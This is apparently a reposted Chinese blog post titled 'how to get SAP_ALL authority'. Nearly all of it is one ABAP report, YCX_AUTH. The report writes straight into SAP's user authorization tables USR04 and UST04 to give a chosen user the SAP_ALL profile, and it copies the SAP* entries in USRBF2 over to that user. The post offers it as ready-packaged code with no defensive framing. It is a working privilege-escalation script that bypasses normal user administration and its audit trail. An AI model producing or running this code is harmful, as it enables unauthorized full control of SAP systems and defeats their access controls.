如何获取SAP_ALL权限

转载大神SAP干货铺SAP翔子,如有冒犯请私信,立马删除。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

代码已经为客官打包好了~
&---------------------------------------------------------------------
*& Report YCX_AUTH
&---------------------------------------------------------------------
*&
&---------------------------------------------------------------------
REPORT ycx_auth.
DATA: l_usr04 LIKE usr04,
l_ust04 LIKE ust04,
l_profs LIKE usr04-profs,
l_usrbf2 LIKE usrbf2 OCCURS 0 WITH HEADER LINE,
l_userid LIKE usr01-bname.
TABLES : usr01.
SELECT-OPTIONS: p_user FOR usr01-bname .

START-OF-SELECTION.

SELECT SINGLE * INTO l_usr04 FROM usr04
WHERE bname IN p_user.
MOVE ‘C SAP_ALL’ TO l_profs .
l_usr04-nrpro = ‘14’.
l_usr04-profs = l_profs.
UPDATE usr04 FROM l_usr04 .
l_userid = l_usr04-bname.
SELECT SINGLE * INTO l_ust04 FROM ust04
WHERE bname IN p_user.
l_ust04-profile = ‘SAP_ALL’.
UPDATE ust04 FROM l_ust04 .

SELECT * FROM usrbf2 INTO TABLE l_usrbf2
WHERE bname = ‘SAP*’ .
LOOP AT l_usrbf2.
l_usrbf2-bname = l_userid.
MODIFY l_usrbf2 INDEX sy-tabix TRANSPORTING bname.
ENDLOOP.
INSERT usrbf2 FROM TABLE l_usrbf2 ACCEPTING DUPLICATE KEYS.

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值